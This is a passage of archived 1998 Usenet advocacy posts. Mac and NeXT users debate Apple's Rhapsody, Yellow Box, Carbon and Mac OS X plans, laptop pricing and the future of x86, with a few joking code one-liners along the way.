>> notebook in early 1999.
>
>$2300 for a passive matrix (FRSTN, no?) system is not inexpensive, although
>given the speed of the system, it's a very good value...
It is expensive. My father showed me an add for a WinBook this weekend:
233 MMX, _Active Matrix Screen_, 16 MB, 1.6 GB HD, USB, CardBus, InfraRed,
CD-ROM, Floppy, etc. It's failings were it's rather small HD, only 16MB
of memory and no internal modem (though you could order it with more
memory and internal modem). The kicker is that it cost $1199.
He's a long time mac user who's been seduced in buying a PC (at the time
he needed it to run some PC software). And, after doing so, he's slowly
forgotten how much better the Mac was (the main problem is that the
fastest mac he's ever owned was a PB 165). This is a man who'd used his
'crusty' PB 165 in muliple PC locations as the Desktop PC's "stank" and he
"could get more work done on his laptop".
Now, he _might_ consider buying a Mac laptop, but $2300 is "too expensive"
yet $1000 less is in the range where he'd look at buying a full featured
laptop. Sure he could buy a Mac laptop that's two generations old -- but
it wouldn't be as fast, nor would it likely have an Active Matrix screen
at those prices. It definately won't have CardBus or USB. Nor could it
use the PC peripherals that he's built up over the last year and half that
he's had the PC.
I'd love for Apple to bring him back into the fold, mainly so I don't
have to continually fix his machine when Win 95 eats itself. Hell, I can't
stand windows and I (briefly) thought about buying the damn thing (a
laptop would be nice). (Ok, so at least I had visions of buying a SCSI II
card, an ORB, and using it to play with Linux and Rhapsody/Intel.)
--
Ted Brown tbrown@netset.com
From: Henry McGilton <henry@trilithon.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Mon, 18 May 1998 07:26:10 -0700
Organization: Trilithon Research and Trading
Message-ID: <35604502.ABD4146@trilithon.com>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <35593b48.6388203@198.0.0.100> <andyba-ya02408000R1205981051430001@news> <6jagk8$sol$1@xmission.xmission.com> <andyba-ya02408000R1305981540240001@news> <ericb-1405981148530001@132.236.171.104> <joe.ragosta-1505981426030001@wil136.dol.net> <ericb-1705981603400001@132.236.171.104> <joe.ragosta-1805980747570001@wil100.dol.net>
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Joe Ragosta wrote:
<<<< snip >>>>
* Or, Intel will never ship an x86 chip after 1999?
* No announcement.
Pretty close to the truth. The P7 --- alias Merced --- is
the end of the x86 line. There was a good writeup on this
in Nikkei Electronics Asia --- July 1994 edition, I think.
........ Henry
=============================================================
Henry McGilton | Trilithon Software, and,
Boulevardier, Java Composer | Pacific Research and Trading
-----------------------------+-------------------------------
mailto:henry@trilithon.com | http://www.trilithon.com
=============================================================
From: Greg_Anderson@afs.com (Gregory H. Anderson)
Newsgroups: comp.sys.next.advocacy
Subject: Re: AMP is dead!
Date: 18 May 1998 14:28:19 GMT
Organization: Anderson Financial Systems Inc.
Message-ID: <6jpgi3$jkf@shelob.afs.com>
References: <01bd80f2$8c1f3ba0$04387880@test1>
"Todd Heberlein" <todd@NetSQ.com> writes
> Apple did such an incredible job keeping Carbon under wraps... Probably
> *the* most important announcement made by Apple for a year, and no one
> had a clue! I can now believe in conspiracies again :-)
Oh sure, now that all the files have been burned up in a fire. 8^)
--
Gregory H. Anderson | "We're in the land of the blind,
Visionary Ophthalmologist | selling working eyeballs, and they
Anderson Financial Systems | balk at the choice of color." -- Tony
greg@afs.com (NeXTmail OK) | Lovell, on Mac user reactions to NeXT
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Procrastination pays: Yellow Box to join Newton
Date: 18 May 1998 15:01:29 GMT
Organization: P & L Systems
Message-ID: <6jpig9$1cc$95@ironhorse.plsys.co.uk>
References: <laranzu-1905982220120001@dd197.spirit.net.au>
Mime-Version: 1.0
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Cc: laranzu@spirit.com.au
In <laranzu-1905982220120001@dd197.spirit.net.au> Hugh Fisher wrote:
> I predict, and I'd really like to be wrong, that in six months
> Apple will announce that Yellow Box won't be available on the
> first release of MacOS X.
>
I predict you're wrong. For one thing, what would happen to WebObjects?
> This will coincide with the first
> demonstrations of Microsoft Office 99 and Adobe Photoshop 7
> running under Carbon, so nobody in the mainstream market will
> pay attention. Mesa? Pasteboard? Sorry people, you're not big
> name developers. "Good enough" will triump over "better" once
> more.
>
Well, you obviously knew the name of our product :-)
The other one's PasteUp, by the way.
As I've said on many occasions, we don't expect to swamp the marketplace. We
are being realistic in our expectations. We've survived this long in a tiny
marketplace, we'll continue to survive in a much bigger one. We have
features Excel doesn't have which will mean that Mesa will be attractive to a
small but interesting set of people. Actually one of those features is that
we're not Micro$oft -- there seem to be a significant number of Mac-users
wanting to buy Mesa simply because it isn't Excel. And now that we've
started adding Excel compatibility (the version on our WWW site now includes
the ability to read Excel 95, 97 ?and 98? files -- figures formulas and
formatting, no charts yet), it should make migration easier.
Best wishes,
mmalc.
P & L Systems -- developers of Mesa
http://www.plsys.co.uk/plsys/
Tel: +44 1494 432422
Fax: +44 1494 432478
From: seanl@cs.umd.edu (Sean Luke)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: STEPWISE and Scott Kudos
Followup-To: comp.sys.next.advocacy,comp.sys.mac.advocacy
Date: 18 May 1998 14:49:36 GMT
Organization: U of Maryland, Dept. of Computer Science, Coll. Pk., MD 20742
Message-ID: <6jphq0$nl$1@walter.cs.umd.edu>
References: <355c8968.0@206.25.228.5> <6ji9ht$dtq$1@xmission.xmission.com> <6jjo21$n53$9@news.idiom.com>
NNTP-Posting-User: seanl
John C. Randolph (jcr.remove@this.phrase.idiom.com) wrote:
: Matthew Vaughan may or may not have said:
: -> In article <6ji9ht$dtq$1@xmission.xmission.com>, Kristofer Jon Magnusson
: -> <kris@xmission.xmission.com> wrote:
: ->
: -> > RestOfMacMedia.emulateCluefulReporter(scott));
: [RestOfMacMedia emulateCluefulReporter:scott];
I think it's probably something like:
[[[Media mediaWithClue:nil] emulate:@"Scott"] autorelease];
...though in the one true language it's
(emulate (remove-if *media* :test #'has-clue)
(car (assoc *media* 'scott)))
Sean Luke
seanl@cs.umd.edu
From: jq@papoose.quick.com (James E. Quick)
Newsgroups: comp.sys.next.advocacy
Subject: Is there a compatibility list online for Blue Box?
Date: 18 May 1998 11:16:56 -0400
Organization: Quick and Associates
Message-ID: <6jpjd8$a5q@papoose.quick.com>
I have never owned a Mac, but will be purchasing a system to run
DR2 on (since it makes more sense to develop there than on DR2
Intel). I would like to know if anyone on the net maintains a
list of applications which are known to run on Blue.
I know that most applications do run, and will be using it anyway,
but would like to take a look.
--
___ ___ | James E. Quick jq@quick.com
/ / / | Quick & Associates NeXTMail O.K.
\_/ (_\/ | If only the HMO would cover my allergy to gravity...
) | Blue skies, and soft landings.
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: NSHosting and MacOS X
Date: Mon, 18 May 1998 10:40:00 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <35605650.5FEC64D6@nstar.net>
References: <1d93iik.1l170dz8etsaxN@carina47.wco.com> <Et2Lqx.A2A@micmac.com>
<6jl9if$jfl$1@crib.bevc.blacksburg.va.us> <6jn5ai$gsi5@odie.mcleod.net>
<6jnd5o$qjg$2@news.idiom.com> <6jnjid$1cc$79@ironhorse.plsys.co.uk>
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NNTP-Posting-Date: 18 May 1998 15:44:46 GMT
mmalcolm crawford wrote:
>
> In <6jnd5o$qjg$2@news.idiom.com> John C. Randolph wrote:
>
> > I just can't buy the claim that there's a technical reason for dropping
> > PostScript in favor of PDF. This was political, no two ways about it.
> >
> Apparently it may:
>
> Make the window server more efficient;
Hardware
> Make multi-threaded imaging possible;
Hardware
> Enhance performance of YB/Windows significantly.
Hardware
> Please don't ask me for technical details at the moment! :-)
See above.
MJP
Date: Mon, 18 May 1998 11:17:58 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Message-ID: <joe.ragosta-1805981117590001@wil104.dol.net>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <35593b48.6388203@198.0.0.100> <andyba-ya02408000R1205981051430001@news> <6jagk8$sol$1@xmission.xmission.com> <andyba-ya02408000R1305981540240001@news> <ericb-1405981148530001@132.236.171.104> <joe.ragosta-1505981426030001@wil136.dol.net> <ericb-1705981603400001@132.236.171.104> <joe.ragosta-1805980747570001@wil100.dol.net> <35604502.ABD4146@trilithon.com>
In article <35604502.ABD4146@trilithon.com>, Henry McGilton
<henry@trilithon.com> wrote:
> Joe Ragosta wrote:
>
> <<<< snip >>>>
>
> * Or, Intel will never ship an x86 chip after 1999?
> * No announcement.
> Pretty close to the truth. The P7 --- alias Merced --- is
> the end of the x86 line. There was a good writeup on this
> in Nikkei Electronics Asia --- July 1994 edition, I think.
Nonsense. The x86 will cotinue to ship for quite some time. Do you really
think that Intel is going to stop making x86 chips the day Merced is
released?
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Sorry That Apple Purchased NeXT?
Date: Mon, 18 May 1998 15:42:15 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6jpkso$djn$1@nnrp1.dejanews.com>
References: <199805161935341708619@sdn-ts-002txhousp06.dialsprint.net>
drifterusa@sprintmail.com (John Bauer) wrote:
> Without debating the finer points of how true all of the above are, I'm
> curious if the consensus in (this slice of) the NeXT community is that
> things were better before Apple bought NeXT and that, in retrospect, the
> merger was a bad move for NeXT aficionados. I think it would be helpful
> if opinions were grounded in economic reality rather than dashed ivory
> tower fantasies, but it's your post, so say whatever you want.
Well, my perspective is that NeXTSTEP/OPENSTEP were going nowhere prior to the
Apple acquisition. Now with Rhapsody and Mac OS X, at least they're moving
forward, in a good but far from ideal direction. But I'd rather have progress
in a good direction than perfection with no progress at all.
I love my old slab, and its still my primary work machine, but it does need
replacing with something a tad faster and with applications being developed
for it. Rhapsody and Mac OS X look like they'll let me do that without losing
too much of what I like.
> It does seem, in a way, that Jobs is finally making that next-generation
> Mac he sought by founding NeXT. But do NeXT watchers view this as a bad
> thing? The hardware is not as sleek, the UI not as pretty. Are the
> compromises that go with appealing to a consumer market worth it for the
> possibility of the technology flourishing? Or is the technology doomed
> anyway if the native OS won't run on Windows machines?
Not proceeding with Rhapsody/Intel is a VERY BAD MOVE. No, make that a VERY
VERY VERY BAD MOVE. I wouldn't go so far as saying it dooms the technology,
but it sure won't help. I hope this decision gets reversed soon and very
publically.
Stefano Pagiola
spagiola@my-dejanews.com
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows 95/NT user, future
Rhapsody user
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: Mon, 18 May 1998 15:14:01 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6jpj7p$bd1$1@nnrp1.dejanews.com>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com>
akira@home.com wrote:
> And most importantly...
> Rhapsody 1.0 on Intel is the *LAST* version of the Yellow Box/Mach combo for
> Intel. IE: Rhapsody on Intel can be considered the end of life for that
> product.
> As the folks from Apple put it, they are putting all their effort into what
> 90% of the folks want. They stated that 95/NT and MacOS X on PPC are
> basically their cross-platform developement system. I believe there was
> also mention that they aren't in the OS business. There was a lot of
> complaining about this after the session with Ernest Prabhakar, who was a
> lot more understanding than Jordan Dea-Mattson. Numerous people expressed
> concerns over this strategy, mainly from the standpoint that lots of us have
> Intel systems and can not either afford to replace them, or are unable to do
> so because of management constraints, and need to have a real OS. That
> solution is NOT NT. Ernest did say that Apple does understand that a lot of
> us do want this. While it would take a non-insignificant amount of effort
> to keep delivering an Intel version, with the work that they have done on
> Mach and the IOKit for drivers, the portability of the kernel to Intel is
> possible, and they will keeping an open mind to doing it. It all depends
> mainly on the market. I imagine that if Apple sees Rhapsody on Intel market
> growing significantly from the time it is released until MacOS X comes,
> especially if it grows faster than Rhapsody/PPC or NT, then who knows.
Yeah, but how is that going to happen if they announce from the start that
they have no plans for any Rhapsody/Intel versions past 1.0? Their belief that
there's little interest in it will turn out to be a self-fulfilling prophecy.
It's really too bad. it cuts off one of the main avenues for re-grabbing a
significant slice of the market.
Stefano Pagiola
spagiola@my-dejanews.com
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows 95/NT user, future
Rhapsody user
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
From: lars.farm@ite.mh.se (Lars Farm)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Mon, 18 May 1998 18:21:38 +0200
Organization: pv
Message-ID: <1d98kqt.tb8x4s1sfpukgN@dialup78-1-9.swipnet.se>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <35586F01.243A7BE3@spamtoNull.com> <pulsar-ya02408000R1205981246010001@news-proxy.cso.uiuc.edu> <3559E64B.A3A9AF2@spamtoNull.com> <pulsar-ya02408000R1305981504530001@news-proxy.cso.uiuc.edu> <355B2F43.D365D2F1@spamtoNull.com> <pulsar-ya02408000R1405981632050001@news-proxy.cso.uiuc.edu> <355F6C41.F47A4916@spamtoNull.com> <6jpdf9$1cc$92@ironhorse.plsys.co.uk>
Cache-Post-Path: mn8!s-49817@dialup78-1-9.swipnet.se
mmalcolm crawford <malcolm@plsys.co.uk> wrote:
> Sadly this is true, as we have seen. MacOS developers didn't like the fact
> that OPENSTEP developers got the jump on them for the new OS, and didn't like
> being given second class citizenship in the BlueBox. Is that so strange? It
> was fine for us OPENSTEP developers, but I can understand why it might have a
> negative impact on traditional MacOS developers.
Maybe, or maybe it was: - "Let's first see what they actually deliver".
--
Lars Farm; lars.farm@ite.mh.se - Limt/Channelmatic: lars.farm@limt.se
From: gmark@grayfox.svs.com (G. Mark Stewart)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.misc,comp.sys.mac.system
Subject: Re: The New Rhapsody (aka Mac OS X)
Followup-To: comp.sys.next.advocacy,comp.sys.mac.advocacy
Date: 18 May 1998 15:56:28 GMT
Organization: Sun Valley SoftWare
Message-ID: <6jplnc$kiv$3@brownfox.svs.com>
References: <1d8xs8m.mqho5znnswjkN@amtmtc.demon.co.uk>
Andy Templeman (andy@amtmtc.demon.co.uk) wrote:
: Everybody is shouting about how Rhapsody has been 'Steved'.
: From reading all that Apple has published - and this is only the start
: of WWDC week - it strikes me that rhapsody has just been given a bit
In the first place, I'd say a substantial number, if not an overwhelming
majority, of the Mac crowd that actually gave a shit about Rhapsody
really wanted it to be the basis of the evolving Mac OS. Secondly,
what the hell kind of moron would want the Mac OS to be "abandoned"
rather than improved, especially in light of the faltering Mac market?
Thirdly, not only has Apple made better on every promise, but they've
given a concrete, extremely aggressive in my mind, schedule for convergence
that will not leave us wondering or making a choice between a Rhapsody
platform and Mac OS.
Considering that MS has been saying for a long time that they were
going to dump MSDOS, and bullshitting around it, but being pretty
clear that they felt NT was the way to go for Windows of the future,
the only difference between MS's and Apple's corporate strategy is
that Apple is starting with a superior starting system in the Mac OS over
Windows, and is adopting a superior new base to evolve to in Unix over
NT. Opinions aside, no one can dispute that Unix has been beat to hell
in battle-testing, and carries a hell of a lot of credibility in the
CS and IS fronts. Besides, the core design of the MacOS has always had
its roots in the Unix/Multics history, since PARC/ALTO and Sproull,
etc.. How can anyone complain about Mac OSX being pulled up as
amazingly soon as 1999?
The folks that should be worried are the Solaris/HPUX system vendors.
As expensive as Macs are, a 750PPC system that competes with a Sun
workstation is pretty damn compelling a choice.
GMS
http://www.svs.com/users/gmark
From: aa829@ccn.cs.dal.ca (Charlie Mingo)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Procrastination pays: Yellow Box to join Newton
Date: Mon, 18 May 1998 12:27:33 -0400
Organization: PANIX Internet and Unix, NYC
Message-ID: <aa829-1805981227340001@port17.dialb2.gain-ny.com>
References: <laranzu-1905982220120001@dd197.spirit.net.au>
Mail-Copies-To: always
In article <laranzu-1905982220120001@dd197.spirit.net.au>,
laranzu@spirit.com.au (Hugh Fisher) wrote:
> Then there's the new imaging model for MacOS X. Without Display
> PostScript, Yellow Box will need a fair amount of code replaced
> if it's to run on MacOS X. Either they start maintaining a dual
> code tree, one for Intel and one for MacOS X, or they port Carbon
> to Intel.
Apple has said will support the new YellowBox graphics architecture on
Intel. They don't need to port Carbon to Intel to do this; they just
implement the new graphics architecture in the Intel YellowBox.
Carbon is not a cross-platform API; YellowBox is.
--
mingo "at" panix "dot" com
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X clarified (Was: So THAT is the OS stratetgy?)
Date: 18 May 1998 16:24:05 GMT
Organization: P & L Systems
Message-ID: <6jpnb5$1cc$96@ironhorse.plsys.co.uk>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <6jchjg$9nl$1@interport.net>
<nagleEsxEDn.2M6@netcom.com> <6je7ia$63i$1@crib.bevc.blacksburg.va.us>
<6jetcp$623$1@nnrp1.dejanews.com> <355AF80B.B27F01FA@milestonerdl.com>
<pxpst2-1405981523500001@pelli.pathology.pitt.edu> <355B3D6F.63A9F50A@milestonerdl.com>
<6jn0jk$1cc$60@ironhorse.plsys.co.uk> <355f5464.16260165@news.wam.umd.edu>
Mime-Version: 1.0
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Cc: rsrodger@wam.umd.edu
In <355f5464.16260165@news.wam.umd.edu> Rob Rodgers wrote:
> Slow adoption is wise adoption.
>
I wouldn't argue with that. That rather bolsters Apple's position on the
matter, I'd say.
Best wishes,
mmalc.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: 18 May 1998 16:27:50 GMT
Organization: P & L Systems
Message-ID: <6jpni6$1cc$97@ironhorse.plsys.co.uk>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <355B3744.18038EC5@milestonerdl.com>
<6jfl4h$7lh$1@crib.bevc.blacksburg.va.us> <6jfmkm$9tn@netaxs.com>
<6jfnjq$7st$1@crib.bevc.blacksburg.va.us> <ericb-1505981747070001@132.236.171.104>
Mime-Version: 1.0
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Cc: ericb@pobox.com
In <ericb-1505981747070001@132.236.171.104> Eric Bennett wrote:
> I know one person who claims to have received DR2 in the mail (yesterday
> or today; I don't recall which).
>
And I know lots more. Your point?
Best wishes,
mmalc.
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: STEPWISE and Scott Kudos
Date: 18 May 1998 15:43:20 GMT
Organization: Idiom Communications
Message-ID: <6jpkuo$lm6$1@news.idiom.com>
References: <355c8968.0@206.25.228.5> <6ji9ht$dtq$1@xmission.xmission.com>
<6jjo21$n53$9@news.idiom.com> <6jphq0$nl$1@walter.cs.umd.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: seanl@cs.umd.edu
Sean Luke may or may not have said:
-> John C. Randolph (jcr.remove@this.phrase.idiom.com) wrote:
-> : Matthew Vaughan may or may not have said:
-> : -> In article <6ji9ht$dtq$1@xmission.xmission.com>, Kristofer Jon
Magnusson
-> : -> <kris@xmission.xmission.com> wrote:
-> : ->
-> : -> > RestOfMacMedia.emulateCluefulReporter(scott));
->
-> : [RestOfMacMedia emulateCluefulReporter:scott];
->
-> I think it's probably something like:
->
-> [[[Media mediaWithClue:nil] emulate:@"Scott"] autorelease];
->
-> ...though in the one true language it's
->
-> (emulate (remove-if *media* :test #'has-clue)
-> (car (assoc *media* 'scott)))
ROTFL!
Rev 1.0:
[[[Media mediaWithClue:nil] emulate:
[Reporter reporterWithName:@"Scott"]]
autorelease];
-jcr
From: sheppard.gordon@relaynet.org (SHEPPARD GORDON)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody
Date: Mon, 18 May 98 12:28:00 -0400
Organization: RelayNet, Brooklyn, NY (718) 692-2498
Distribution: World
Message-ID: <8EF52EC.09B6007773.uuout@relaynet.org>
On 05/18/98, MMALCOLM CRAWFORD wrote to Jonathan Harker:
MC> MacOS X = Rhapsody + Carbon
Is Apple dropping BlueBox in MacOS X? Or is it implied in "Rhapsody?"
Salut!
-> Alice4Mac 2.4.4 E QWK Hiya:05Nov94
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: The New Rhapsody (aka Mac OS X)
Date: 18 May 1998 12:55:31 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jpp63$rg7$1@crib.bevc.blacksburg.va.us>
References: <1d8xs8m.mqho5znnswjkN@amtmtc.demon.co.uk> <zegelin-1805981401230001@dialup19.canb.ispsys.net> <6joccd$qiv$1@crib.bevc.blacksburg.va.us> <joe.ragosta-1805980857160001@wil100.dol.net>
In article <joe.ragosta-1805980857160001@wil100.dol.net>, joe.ragosta@dol.net (Joe Ragosta) wrote:
> In article <6joccd$qiv$1@crib.bevc.blacksburg.va.us>, nurban@vt.edu wrote:
> > In article <zegelin-1805981401230001@dialup19.canb.ispsys.net>,
> zegelin@actonline.com.au (Peter) wrote:
> > > I think Apple should set an example by stating that they will use YB for
> > > future versions of their own cross platform Apps. AppleWorks, FileMakerPro
> > > etc.
> > Porting Mac apps to Yellow isn't really very practical -- that was the
> > whole reason for Carbon. I'd rather see Apple spend their time making
> > Yellow better than by porting existing apps to it. They can set their
> > example by releasing any _new_ apps as Yellow.
> But since they're separate groups, spending time in the applications group
> on Yellow wouldn't detract from the time spent by the OS group.
Okay, but still -- what's the point of porting their apps to Yellow? It
would take an enormous amount of time and basically halt the enhancement
of the app feature sets, and what would it gain? The advantages
of Yellow are mostly that it saves you lots of development time, but
they've already sunk that development time. Porting to Yellow purely
as a sign of "solidarity and faith in Yellow" is stupid -- it's sending
the wrong message too. The whole point of Carbon is that they realize
that it's futile to encourage developers with large code bases to port
to Yellow. They want _new_ developers to use Yellow, so if they want
to send a message, they should develop _new_ apps with it -- and that's
a much better use of their time than porting apps to Yellow that will,
in the end, not enhance the app all that much.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: 18 May 1998 16:33:31 GMT
Organization: P & L Systems
Message-ID: <6jpnsr$1cc$98@ironhorse.plsys.co.uk>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <355AEB93.4AC11DA3@milestonerdl.com>
<6jfdu8$7bl$1@crib.bevc.blacksburg.va.us> <355B30B0.355C95BB@milestonerdl.com>
<6jff08$7ei$1@crib.bevc.blacksburg.va.us> <forrestDELETE-THIS!-1405981252280001@term1-21.vta.west.net>
<355B473D.64D8E298@milestonerdl.com> <pxpst2-1405981934260001@pelli.pathology.pitt.edu>
<355C2215.8B54731A@milestonerdl.com>
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Cc: mark@milestonerdl.com
In <355C2215.8B54731A@milestonerdl.com> M Rassbach wrote:
> And, until there is a formal statement by Apple pledging support for NT
5.x/98 I
> will maintain that Apple's plan is to AVOID making such a pledge.
>
There's a circular argument in there.
I maintain that Apple will support YB/NT5, and am willing to back up my words
with a $100 wager. You don't seem to have the courage of your convictions.
Put up or shut up.
mmalc.
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Mon, 18 May 1998 13:47:37 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-1805981347370001@132.236.171.104>
References: <ericb-1105981718430001@132.236.171.104> <1d8xsi0.kqhkhi73wgzsN@cetus181.wco.com> <6jbg5p$3fg$1@crib.bevc.blacksburg.va.us> <andyba-ya02408000R1305981555450001@news> <6jdaui$5bc$1@crib.bevc.blacksburg.va.us> <6jeqlq$1hv$1@nnrp1.dejanews.com> <6jfbjs$76e$1@crib.bevc.blacksburg.va.us> <895179379.806734@kelp.mbay.net> <B180C661-12F863@207.217.155.114> <6jg26g$89f$1@crib.bevc.blacksburg.va.us> <ericb-1505981808160001@132.236.171.104> <6jiinl$bg2$1@crib.bevc.blacksburg.va.us> <199805160314061503384@sdn-ts-003txhousp16.dialsprint.net> <ericb-1705981553500001@132.236.171.104> <pulsar-ya02408000R1705981514490001@news-proxy.cso.uiuc.edu>
In article <pulsar-ya02408000R1705981514490001@news-proxy.cso.uiuc.edu>,
pulsar@springnet1.com (Pulsar) wrote:
> That was not a plan. That was rumor.
It was the closest thing to a plan that Apple had had since buying NeXT.
--
Eric Bennett (www.pobox.com/~ericb)
Cornell University Biochemistry Department
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Procrastination pays: Yellow Box to join Newton
Date: 18 May 1998 20:16:43 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jqj1b$smi$1@crib.bevc.blacksburg.va.us>
References: <laranzu-1905982220120001@dd197.spirit.net.au> <6jpig9$1cc$95@ironhorse.plsys.co.uk> <3560b3f9.43186391@news.wam.umd.edu>
In article <3560b3f9.43186391@news.wam.umd.edu>, knave@acm.org wrote:
> mmalcolm crawford <malcolm@plsys.co.uk> wrote:
> >In <laranzu-1905982220120001@dd197.spirit.net.au> Hugh Fisher wrote:
> >> I predict, and I'd really like to be wrong, that in six months
> >> Apple will announce that Yellow Box won't be available on the
> >> first release of MacOS X.
> >I predict you're wrong. For one thing, what would happen to WebObjects?
> It's easier to port webobjects to carbon than it is to maintain an
> entirely seperate API based on a totally different language.
Want to bet?
First, it is NOT easy to port WebObjects to Carbon, it is heavily based
on Yellow technologies, as well as features of the Objective-C language.
Second, "porting" it to Carbon would be a complete rewrite -- how is
that easier than maintaining an existing, already-written codebase?
If worse came to worst, they could just stop upgrading Yellow and it
would _still_ be easier to maintain WebObjects as it exists now than to
port it over to Carbon, go through the new QA cycle, hammer out all the
new bugs, etc. Furthermore, maintaining a Carbon version is _harder_ than
maintaining a Yellow version, due to the superiority of the Yellow APIs
and the greater ability for intelligent code reuse.
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Carbon features: NO Quickdraw !!
Date: Mon, 18 May 1998 14:07:54 -0700
Organization: UC Irvine
Distribution: world
Message-ID: <rmcassid-1805981407540001@dante.eng.uci.edu>
References: <1d93djc.r7hr2q1ipczyaN@carina47.wco.com> <6jkp2s$lkq$1@camel0.mindspring.com>
In article <6jkp2s$lkq$1@camel0.mindspring.com>, Matthew Cromer
<matthew_cromer@iname.com> wrote:
>Mike, please tell the MacOS X team that we REALLY REALLY want NSHosting
>back.
Well, how about hooks for a 3rd party to develop something like it which
is as bandwith friendly as possible, if nothing else.
Oh, and when that 3rd party writes it, license it.
-Bob Cassidy
From: dpetticord@hotmail.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Tue, 19 May 1998 01:20:49 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6jqmpg$toq$1@nnrp1.dejanews.com>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <stone-ya02408000R0505980240210001@news.enetis.net> <6inoup$ejt$1@gte2.gte.net> <rmcassid-0505981303570001@dante.eng.uci.edu> <6ir7ua$14g$1@nnrp1.dejanews.com> <rmcassid-0705980005120001@dialin33419.slip.uci.edu> <6ivv73$38k$1@nnrp1.dejanews.com> <356fa231.30547190@news.supernews.com>
In article <356fa231.30547190@news.supernews.com>,
mdevlin@eltrax.com (T. Max Devlin) wrote:
>
> dpetticord@hotmail.com, on Fri, 08 May 1998 21:58:59 GMT,
> >In article <rmcassid-0705980005120001@dialin33419.slip.uci.edu>,
> > rmcassid@uci.edu (Robert Cassidy) wrote:
> >>
> >> In article <6ir7ua$14g$1@nnrp1.dejanews.com>, dpetticord@hotmail.com
wrote:
> >>
> >> > Half a dozen?
> >>
> >> I don't claim that half a dozen were addressed by the decree, only that
> >> they led up to it. There are numerous claims leading up to the current
> >> action, only a few are large enough to take a serious stand on. That
> >> doesn't mean the others didn't take place. I seem to recall reading quite
> >> a few other complaints in some of the documents sent to the DOJ that were
> >> not at all addressed.
> >>
> >
> >I could say something about "innocent until proven guilty" but I understand
> >your point. What got me concerned was your assumption that the quantity of
> >allegations somehow equates to a degree of guilt. This is especially true
> >when you made a sweeping generalization without even listing unproven
> >claims.
>
> David, I appreciate, as always, your candor and wisdom. Nevertheless,
> it occurs to me once again that you seem to be rather limited in your
> consideration of the topic at hand. I guess you do us all a great
> disservice by providing a counterweight to our incessant confusion of
> actual fact with legal cases. We are not lawyers here, David. You
> don't seem to be cross-posting this to any legal groups. Of _course_
> the quantity of allegations against someone is an indication of the
> degree of guilt in such circumstances. Just as, were these charges
> imaginary, or proffered only as a form of harassment, the degree and
> severity of harm to the defendant would equate to the number of
